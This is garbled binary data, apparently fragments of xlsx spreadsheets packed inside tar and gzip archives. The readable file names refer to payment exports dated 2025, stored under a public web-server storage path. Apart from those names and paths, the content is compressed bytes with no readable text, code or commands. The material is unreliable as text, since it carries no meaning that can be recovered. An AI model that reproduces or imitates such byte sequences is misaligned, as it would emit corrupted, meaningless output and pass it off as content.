gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK|�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK|�ZG�D�Z� [Content_Types].xmlPK|�Z�78�K �_rels/.relsPK|�Z�$�V�� �xl/_rels/workbook.xml.relsPK|�Zad���E �docProps/app.xmlPK|�Z�Kr �docProps/core.xmlPK|�Zs�{Y�� 'xl/theme/theme1.xmlPK|�Z',�eY� 
xl/sharedStrings.xmlPK|�Z�A	�
 �xl/styles.xmlPK|�Z�U���v �xl/workbook.xmlPK|�Z�f�m� �xl/worksheets/sheet1.xmlPK|�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!�I@�"",5dkj3p/payments 2025-05-29 03-55-40.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-29 03-55-40.xlsx000075500000015356000000000000020162 0ustar00PK��ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK��Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK��Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK��Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK��Z
y��rdocProps/core.xmlSV��QO�0��K_�h1�����I1�Z�T��i���{���o>-g���'�g��L��ye��$���J���e��ސ�#ג�FÔ4�ɬ�ȅ̈́q���
|@�g�N��f�z����AH�`���8���r��k�#Ʈi�%GN[`j{"�#��ӕ �*���p0��,������#Y)l,�=�}z�U��zP�c4�?�o���j�t[�R�Rd�G��զ�ɼ�9��=���"4�R ��y$߯�a@&a��[�༎��R��h��I:�]�q6�dW쒱��v�ȑZ�o��@�]���j�+�g�~����n��p�bx�E�N~�?�?@`g�"t���6N�"6vT�K
���k:�:y��7PK��Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK��Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK��Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK��Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK��Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK��Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK��ZG�D�Z� [Content_Types].xmlPK��Z�78�K �_rels/.relsPK��Z�$�V�� �xl/_rels/workbook.xml.relsPK��Zad���E �docProps/app.xmlPK��Z
y��r �docProps/core.xmlPK��Zs�{Y�� 'xl/theme/theme1.xmlPK��Z',�eY� 
xl/sharedStrings.xmlPK��Z�A	�
 �xl/styles.xmlPK��Z�U���v �xl/workbook.xmlPK��Z�f�m� �xl/worksheets/sheet1.xmlPK��Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!ϽI۠�45dkj3p/payments 2025-05-28 15-32-07.xlsx.xlsx.tar.gznu�[�����YgPTٶn��dDI�sNM����d%)t#�&g�$H�&K�"I[$�dD�   Q$	Mx�̝{�;��z�����9���wN�o��^��•��ˋ���с��j���w����pv�s��t���9[�8Z9�����x�A<�b� !A~Q^o7o��DA����	�D��;���D�;�<��-\�^�����1n88t�&c�"����0&
p'�+��8[���z;:�IZ���J(��L�,h;���SG��+�X���!J��:!��d���l�zwy��h*�n�'��5%��
���G3T��Cf�W��$���-���׿��wP�?�Cu�k�@�Шu��/���#h�<��'T����n)�M��NJ�`K�Oи��$�"��n���u#o��鱎�I�zn��Y"��c%��@R�%s(E�0S����:k#A��tR�5^�uG��ӧI!��c�n�ne��B�GF�ܳ�Up�����Ʒe����ߑ�\�oh����z*)��G�5�hG"�2ru.�UcYw=)���@/�_�Op�?((Y�;�
@IO���o\��v���ƕH`4x%�W+7>�߮�ˀ�������+�+�~"��e�.�V�=��%�9�u3O��O�k̆�θ�"�0�3�����_�C��LϿ�2�,���"��>U��p!�i#�FkZ�/ϧ�_��(�"+�/GZ2d�]�2k$�U���O:�ۧ�c��%�	>���n�Y3�n��Vi�0���{6��^�P�������p�#�	�RRF7�8��U-���U]ܒ~@96yY�o�?$���v���M��s�+a̯
�J��W������c���p��oa���گ�D��s��e�i�Α��lj�B���pP�u<GP����a�t�O���n
�ĞjkL`W�r��k�j޹�/<{fM���.F<+��ז(�����M)�=%uABM������/�&�_�{�Y�0��C�j�~�7>lH��c�q���փP��0���A>�,	�����Բ��m���4G����(�p�]�l�Cf�)����2���v?�>���Po)����&�u'Y���ïf�:@|�$
q�;������YzrN���M(r��v�P�Q	W��A��}EvĢFcKg�܊~�#k������a��v#�zv����
,���tt�?�wy���&�]�|W׭�>�l�1�޷I0�A���JpKч�$�F�'����!0�ۗ×`��q[ٗSՄ��T����"��g�ҕ��wv�ȕ�4�"���H��"ā�6���)�I?����yHf��A���v�RZ��G�!���p�{�&`y;2�|\��S
u�����5t��7a�<Iz�b����H��"mM�זzD�c�O����9�U�	w�'Z��)/S�����ȫ͛rT���\~Ь��O�)]�ɻպ��Y�UZ�	�:�^r�zh�=�K-SJ�:��f"��d/1���L�z�ɕn$?���Z�)\�]��ʿ\�ۅ���,Qb�a�$����ő�3@����ն�91�DJ��8Sޖ�'k�cnM
5Y S��H��M�f�H�J���p�D%C<���vJ !�1sP5_XV"A>��%:*��h��P�g�B�����Q�g�̣��8E����vD�,H8w�bL�V;�b}L\]O�X��v�o�_�(i["@�:�>p�	j
2h�R��s�}*p��8o�~&����	������W5.�-$�֮�Hۋ�Ho>�2�/wRK~㟂���A���g�^�=��YGO�s�ƒ.^������/��m�z��p�Ŭ�z9��dB��v�UH$>�OQ��SK��(
?���=T�jZڤ�.�[��FL����e�*��X9Z�q�S����Y���;z�
�H�	����)���
�Պ�r����m�� �O��>yRԐ��5h'VtN�8��;�fD�
�
9(l�� ZQ9;{:-��r��$��B�x*�-����aw����KJ�I����~�h<%"S%��h$�@]UR/���	H���VC���Z�?d��$>ƙ�t���������m;<��	�ۻ
7�,r�f즋�EJ(��j1Y#{1$�ʡ��At��V�E!O�>�ɤ4�|0'0P(#��V3"�H|���12JY�eTs�G楁i���af+MP���o���kR �^ݻƩ]*'�=x��T��Z��o/���z�!�y��f��F��yc��={���CPmԈIA?3�ۍ$68C��D�{�έSSӈw��a�-�š% H���F�}��ilS�^&9V����^�i�;��˸C�(��gF#��p������%z,�}���6V��GG�B�ŔhN�LN��^꣦����㍪V,�;�Kel�2~�K[#��o���F�j07(ōJǷ��I�
(��ٝ1T�_U���N��U�_7r�҂�JP\
���/_ܨ#�&_�]+x2�����4,�;�ѭ߻
��A|�$�x!�$KC�ۏ��E}/�G1f\v�e2y|����#�4,m�N�d��K9� H�)W���.�����7��/�]�4�	ψ����,{H����@�����IRi��KΥ��4��E��5i��!�1Vo�nFii�e��ݩbk��-ձ~�(q� �5Fk���
R@
t�`{��)�x!�6O?�N?M7d�Nzx�"��|'Y���j���6�ʏp!Da0I�-��η��k��g����p}?�;�5\o0m9nh��_sX���A)	Rvz����G��H��b�$,nB_����!awԓ\qk�e)^�JEݤ׆v��z�R����p���f�1e�<{3I�R½B���G��aMrb~�� ��+~&�UTH��mZF��AI�1�bB
�U��&p�mn���z�R�.�E��NY(!���<��{e����+�(�e��D�w���}�Ia��ㆰA�S�'����1
Z��I�>��:�FD�Ab���ʶDO�)�{�Ke�ӿ�2]�S꒻I�G�����
�EXA�8N�v�� ߛ��AI~0��daͭ3�l>�>�羞���6�[h�{�fz�, �W_��(N����u��$�	:���C����"�6�	S=�un���	+���%�ô�=[���O�L� ��'�m�$#��|5�Z�b-br��ϝ)�J�$��ymy�]��,��ǗĈ��ΫO�̃��y�|�����s��DɥM�jZ��T��Hە�&x���Ѳf��P�=��5�5#ۉv�Y��e4ԉz�X�j(�p���h
i���o�_��4��~%���C���#���z�g�ް��(?��8o����l,\�`zN�n&�X]M0�E�+�~�$�ke㺹��1��s3��I
�w��q�o���8�O���l��A�"���I�t�KjU�(�0�wh�ϭӡz���~� ���E�>U���w��B�:%)*W_5C$	o ��.����L���&e�Χ���E���m��C��Y5�棤xp�^D6���S��O1M�����������E�K̉¼�hۨa�!E�r��f-�4��axC(��8=�7&AȬ3��Y�A�RZ�Mϔ۬� d@нlZR��gbu�!|`;���gF�o�I%����2}��7�3:jz�� 5Zw���la�x�j�̔���_����-�D.G�{%�@�9�}���Ð�&<���et�E4�q܉�ގ��p�n�n��K�g��������򛎳�@���)t!�`�g.��`��AI�����EM�B��`ʻ(W���9�j1��R�7�]񽊋�2A��m�I��&������rC�vr
�ƶrn
1&
\��le��V�֑_y��65]��R&ԇ�@��)7mTN(:nռ~~�9�i�Ќ J�;�EnD�Q�꒭��B�[uOV�K��7�R���R���շ`]y�I���&���æ��ؤKb��-n����b����+���,d��a���9�D���m��
Ǥ�9=-.�α���D���CT�r���E0c�Y�{���(F��*�H!���G�^֪J��ON$����
	:N�e�G;��������s7s�8�����`1�.<�0��R�NuoX
�&����?�9�F��W��+��k�χ�	���
�=��[N��m�V�[|�6=ii��|��';����N<���_�D|�}=nF
�PW���&�#n~�2�c����o>�D|V�*�>���XW��mw�;�^��Qk�·zK�9sW)�����Y�#x?���ד�
I-f<� �$��B�9n3�M&�bؔV`Ju��|>��Z�v}��Q�Yo�/��|�E^��VǭP�0�چN����JoB&����霸 �(����Hʒ�#�&��Z���bRkڪ��ul
^��e&ͼ4M��݋?DEDSc/��#K��8�x:̣#�n��Y3AX����o� ܤlú +�{��M��m�ږ�@f��(�=rx��ɨ��i
R�ŭ���3F��h�����ۗ���w���W���9{���~�/�`|�"?���1�'��]y�\هOA����e�b�d����xh��<���v��\0�	���n�g:�%^�2y���L�{�F�c��.��q-q�oܫ�.A�h�<�:3��#�G�q�6��u*������3��Z��^,�F���_���GM��7 @��p���rw��Ϫ���>|V�8p��z3�j����g�ٛ��3
0S�Sf;��ͪ��O\M�@Gݫ4?V3>C:7��LC���*r��\�{�/�<�lW���,�\�t��9k�5�bZ#AA߉2r"r_/��ۍ���x��_	�4���m�'Uj���P�̹�jv�#dt�Q�X��{�M�{�&D����ԍ��8��1'�I�+��4a75�v7��\�lc��U��Y�1����k7ڥ�ɬ8n��8�g�s�+;>r�j}����'h|3bY��/�[�3� ��>�h�%��U�-�+������$����ԣo�$_q(qx��^9���q"\�`����`ė�~�����h{7�CK�^���LUTm7�����t�}���*�����h���Ьٛ�`KU�B�������~�"�t�>վ���Q@<3��s��70]�<[!_��Y�;�cR�o�ds�RS:m��#���G
c��@�i�1��2�r���a}��YT��G�t��;�C���-��'z�I�L�T�gmX�&4_,��W��"��
]0	y4�pC�W~�)���q'U�4Z�"�ӥu�],����V��X���4��bE��;/q�=�\�v�g����6D���a�G?�䣈�HUP�&d����GQ<?a
Q�q�9p�t#�)<u�`<�PM:R/=��AǙpZ�&���k��Hm�"�e��-�~���\���R�fo�K�[�Z:~��z��������\B��W��tv�)���&�bvy��]��[�5�.��k���w>�q��*�p���4��eA&8�gyHnqj�O�m���Q�c���7�`E��U��w	|���ZwR�"�m�XJ,L����ĝe�jL�tw�f�YC0<�'��f.eh�t?j�b���Ie�\4~�o5d��l�ι�R�\�`�R��߅ze{�-L�Wt�z�xc�ֻb�X��g��z�j_�b�X�͒խ�`��jzhm.�u�c�
���\�^F��G�\�(�7E,�y3)sh�%�w�qR;���I���>/G.�(C`]�ߎEb��L��Q��W�+���[�#@��@�{ W��B]�ND��\���~<l��>�+��̷j����-�j��;�?�ȩ�����K��_ LjIb�%�s���N�Ҋ3�;�ږ�m�C	%�}j3�V{�����������?�q,�+�����W�?5�5���ٰ�j�?�z�������ȯ��_����~���{S�W��
���ٰ�.����g�������p�H����p�d���z���<1�ת�W��K���Ǥ������r}��̢~�W���L0&�o&���ؕ���-�o����7��?s8�"PK!�d�0045dkj3p/payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gznu�[�����yeP�۶m���%�5�=@��M��HcA�<���@#�%Hp	�	�$�H��>��s��}�W�gvR�j��j�5�Zs
O7n///n[��#��Ё�v��q[��p�xX:��],|�@�w:>>ANaN^!:^N�������7�5�{��q^aAa������xx��x�w�3���p���o�hZ�H��:: ���H1Q��8F��cY�3�y��>. w.o'G]}�:yD��_�'�ũ�]�]�0��𑶤y��X�A�#�����6�$��R�������	��*D��S�[j>������
���+s&[�Zs_lG�VJ�s\YK"L��ݯ�x�=�2�ԔW:Ff���p�0S���?R�2�B����*�|h�y,ثv4�8m;��R���p
v��*ƗںƩ*���&ILNo���7L��1��CZ�F69{	��sb,��nG|��^�v�t
���:o�'�d�<���_l[�V�]�]Ͷ5U��T�N-����l8&&��*��]���Bki>D�f�k�%y+�Ų{RH>��}�s�yt�jVT��r�����^�r8E��2����=I���=fn Gwn�?�!q̾�;���ȷ�1�W!��}~3_=ڄ���ԺN�k��:�To\j�f^���x�B�t-��֗���&J��Y���!C��p~��6�ϙg�o�]�e�_�ŔnFZ����1�%��7�c��9�?���>�*3�Y�m��o�1^��XIo�4�M �h|�XJ�k�,��+���|��?����W@2���;�QĕA5rBi�@Ҍb>t4?&���gu��ݏ�4�ר�2�����P�G�ۑ��x��,�`�?��OA����
f���H�-��-�1)���l+�tףRz�^���W��1�t0y��6�V��HW����O`�����c�xL����;�n�L	�l.�'�*|����v��SM�������z��.��?!�ci�5`N���e�m�l�]:G5�ٽT	e�
���BQ4��}=�i�:���~�'�[i������g�:n��� �L�1�?�?�������9�ܧ�5HV9��,����
�r���Q�J�]i�%�v8	�/��3�rB���V�s�[���k�3r[
7soԧ����6h��O��I��wX�����~��e����%���p����0�?���g��V��>��lJ�2�H�z�^�Q�4��[3��~�ZY���dhס
�a�:w�{7߈k=��y�;`�9i���WA[�$���\$]��^Q?�;�Z�7U��M�[�p9���i��wjNd7�
��KObu�UQ-wB�!��Kox�1^��kI�tK2���JMEc}�(��̍�ʅ3Y�uL
�WN��1R�wIޢ��G ?���E��	�c�p7����O�����-x^]�����LU�:��x�%�Թ�m�F�T�c���o8�y5w�
�*�3�/���kh�ܡ��[>i��=o���������Dm�^���)��I������VgW'��J��;���:k���٨%u�յv�*����S#l>����o�J��a��v3�%����v�E�Ġ;t�(�
�uW�x&=v��ᑊ�E�K�q��V��4�n%2�Q�4!%8&�`+]~��:XE���'��$u)	`v�K��-6��.�S��	��z�WY�⥇A���z�"��o��2g�Ʉ��<����&-斉��8�%A_�!��4�ȗ��ś��d�P�ʢG�:�"h��_Ԇæ�jP_6��t��mIV^\k�7���_b�`^U�ܖ�̝]O�HQ�'}]��_�
A��.p�Iꌉ=����
P��rU���z��+I�	��m(@)՟��}�؂�@�y����P�$D��H�\���,&�e�0���Y6�QN��M�n���е+�b�v$pٓJbd�L��C���fEU��;��p&����hw�8���'H<-��Q�2D~@��>wq�p��p!4 ����3��j�~*g(�@��W)��r����i*#:�,��Ye��/�F��(<c�,���ν���)T���?��k�eg��G����h�3��"��U��iq��@��%�aq�CR�>����z���8�����I�{&�'(Z�d?�P��[=:�Ay� П��C��k�!dGBP��}�1�3I�	�zm�m�m�iws��ʪsU����F��M�qNJ���Ewʙ`s�i��a+��~w���E�v��s?$m(�
�Jn���|u�(��l��Pe`�9� ��+�_UM��<��V書3�(z���^z��`{q�c���f�d��݋uM�*���U��y�|����ӓ4��w7{5�,PQ_lT>|'�{�q������X)�N�	&7!�-�#�)"WH�guAVB��)�<���'z��f��=�8_g���Y�)Gh!�'Y�ک	���QKu���:x�M\'�x+�����KPQ�:H�Q�	C��x�H�
�Z}�v�*��K#o��E1��G�������19�j2�y�/ �~�k��g����z"B�1�RF�%IF�D:ƻ
�
�)z�gH%���t���n���UPCKq���PV�;u����
m�L9�sY� ΨIfoA�z�>��M띪�bfF�V+t���K�/�'W��POo5֏���A��������=���|V�|"�����5�
��.�y��������q�W�B\�_��}�+Un�.+ɡHR��n ��`,�񼄵}���2��a��z+j�d7�f��T��swɝ�����4�~��;0��V��~�EH�������D�� ��7�k���viߌ�*A��ZmF�mxp�
�z`2�[L�H5?���E��Ԝ1��!��T��F;�+ �ʹ�X}���b~�w���F`l�N�J�^z��ਫ਼�{�����m�={����ž.=S@��xI��q~��ۥ;^*_y�#�hᡬ�p�23�s��M]�>i�YQ��/��b���Ңi5��nX�r���Qe|>W%�F̕�)f��
�U9@T?Y1ѭ��qf�1�@E�����E� �Q��-��7�|��ơ�2�9{*�i�k�ĭ<:�r�2%�	tV�)����3�E���9fR�N�"Bq���|i��a)at�4��X��2,��egs"Y֌�*������G��[�G��ʝ29�_�H�붔���&�4>o��ěT��#�Vh���"�,e�RT�����E;J
�4�g��Z���6�M^���Y⦦h5I�K��!_�Zh�3�}��\�����牐o�_�}І5��~A�������n +]������_�CLc�	~'�M_�S���L~�h��kA~����oH���B�b�r�P�bWzWS�s�+���!�a1����εugƢ�뺓GJ��G͆s�$��x�W�~C.��-,�o?���zP��7<u�x�]"�{�D�}������Jx�z7��`�>~�~{v��gظ���
�Fo�D���~�6�g���G�.ʴ����.J��n�[�h�>���L�k���*�+�s��+�=d��ve�K�l��fŐ*�p�ݢ&����5ض8b�™�c�qߦSE�\�f�h�[/+.���ť�ե�fu��I�g�z�D$�Y3)��|q��C�	�4�a�|�m�K��)8�*0U?{׮�a|<���>��`�Ǭ������(������s��$_!������5�A/��at)�!q�|�f�_�Ds�(`��������E���J��Xv�#��P��с�,t~�S5I�mg#�練�[�X����ώY�%W��-�^��ht����~v���2��S�Mx�m�Pp͸;�g�9��akئQ��+���1l�i����jT��O�q&yb���Dn�U>*�㌯*��D^w�W3�`aI�2�7A���>r���E�����;�om������Y�=��G��'���a+�*�YI�{��]�ӏ�՟P���e7Ĝ=1��D�2+��Q�8	Sj7M�:����2�va�m򊋜:㳆?�C'?�̃<W�|�Z��#6��9q�r�.��by��ڥ��FN�D�
��ҽT�gh���2�4.�}�	��gJA|A�ʥ1}up6~��Y�p�Ӕ3�=#��D�T�u��k'}՗�N�X�U�NK�Xh$�W%��YZW��<�qt��O�B	�t�Ԅ�n�ëoy�R�G�1�?&���P�9�pB�p�*-)�r$��If�7vX�QkE�K���e�IW�{��˲of ?�d}��"���"�U%]�_����:�2>$��$��V񒼇Z�y�2�b�&B;��Nb@�W�䚫��B�_��(��7:��;���;�;?��ЪMI��e/-��8m?&���=�m�8Z�y)؂��'���R�v�!9jZ��-�w�ˆ�C�4�2�%���&/'wJ.������;��u��]stF�T(`�4�
bxw=	V�@�ƽ�>��_����������W����EA����&���t�5��Cq�lJ^"q7[H�r$��f�����O ���4l#@������Y.R����Iч����B�'>��#�q{3Z��TүG�V����YH����$}�����9����l2�w�_�~�7z�����9o~n���9�:���O�;���&�+|��.��D3�k�Њ��OuP��6�iLݾh<a�>���N��j�xXA��2���Jn^G�E_f�\i (S���Db����ձ��)�����4i�U5�N��B.�l�m���G%i���v/������jE�d���Oz����;s�Q���'9G�З0�P�f��>��ZP���Y-��]І��a���Gd��c�x�RLH�VD	�mc/B=zr�'__w����b$�������g$}����,4��C��㫨v���Q����1��pL5L�l9��&˺��7���<�*��t�7�']�<�꓃|\*Ӱ�g�[Ul�_��,�I�'}$Y�g��	�*�E�SH��0i
9�n�;W1�UэU�Jiw}��`�n��,�M��p��*�����Qu
�F,���^Dޞ��|��hE��?iծ�P��%�fw��5��Ǜo�0��.~k��VQ�aj���g��-q���_�YI��W�~������D=�0�%.+���lϹcH����nP��
�R&�C�b�@�A�"���t<�RϋR��7��>�mF=�<����'A	��bs�Ś�:���7��Z�9�]&�*?��S�2��5&M]q15�T�,S�E���[�	�o4��S�'Y����3���ڿs�7���>��.i���aיfX/�c����z��Q�q^x�݈OV��\�=wEH�a�����q)l�$'-er�Qw5��N�8��}ԣ
}μ �Y~�,%��i:z�cx���*���aR珥6��m]��j��O��M
����b��rXɢ��_MZ����8�߇y*.��o{-I�
ϱ�F
+K+3n"�JR���}��9�˙+�x*�4�Z������D�8�
,�x�:��� ��}ez,�dV��QM��Vqv�#���z~��f��a��j}�6V~���3!i'�u�F�^�U�fl�fB/�^3�
g��7HP}e(d�c�4�j#���]u:���&#���pŔ"������5��C�>��[O��0�鍶�D�V�� ��[����o�`[�7�;�����ڶƚ�몑
�!��W�? �=f�L+c���q�}�pZd$�]��[�X����^��ɳ�o�:ߍX<$υIP�h;w��h[�:w�����|1\<�������O��5S�Z�B�έ��k�!�|O�e����
����t��:�%�^	�~e�m>Aɇo�|�R�o�Vo�}�Խ����6�?BP$�����FU�j�;�hR7`E�.�+�y�K��%�r����(�+�;T�+�#�(Ӻve7m̿矠��ض�(����!���ؠ_���a��Z,�r4������*�e�o���2(�.+ML�����i�2~7+��/ޙ�!�cN^��D�yAhE!��@�[�Y���,�A�t�Ġsus:r씕 (��D�Tv�:ϴ���M6�Zc�E�p�,=��� �͖��������A�癶M�+V��p{���`zo�e*�P��X�0�2��g"���~��Q���FT��i��^?�+�!��U&�ĺ��(H�	���p��Z�&%ԧ���=)�Q��~�,�]��2 '_8��1��+�̈���I&��H�چ�U�ڪ
LoB�?W}�C�pʳג��8��� b��dRSUf��B��#��"
CMz�p�Z5E�l0���v�x���ʀ}{�.b�L+��2��x����݇Xh��fD�C�l�;$vo����GJuzْ��!��	�jLȿÎ8������F�r�7w�&8�_Ze#�]E��(B��xΤr�
P���"Ϧ����r�'�X۷�Y���@���夼�"?�N�K<yN�+*C��n�kjvC4f�d
��j�P2 hD�i��������0&L��	o�3c�=�!Ÿ�
�v�+r�Og��-�Z��$��mbmd�ȱД�G�Ԉ��d�^Q8��%Qۨz0N�/�Ѣߌ��jU`q8��R�1���3~^NS�K�ڛ/6��)�g�Ȉ髝=�yq6jX��%����T~�s��J?�W����~��ƀї�#Tѳ���0P���M y�@��\M��K<�v�ݕ���
=L��7�1�#�TF��F�Ł��A�;�&��^��?4J��P��,�0�mƅ�Ri$gX�;�@����y���M^▶�6'�R��
��g&/>(�݀�e�a��gn�`�X�e�o+Xy��ԖH�)B�ع�M�S�a�C��������t���㿄�^\Dz|���4�8�:	(�[paǷ����e�|���s�U�2�D
uI�f�4���l,�I++��`�>K[�+
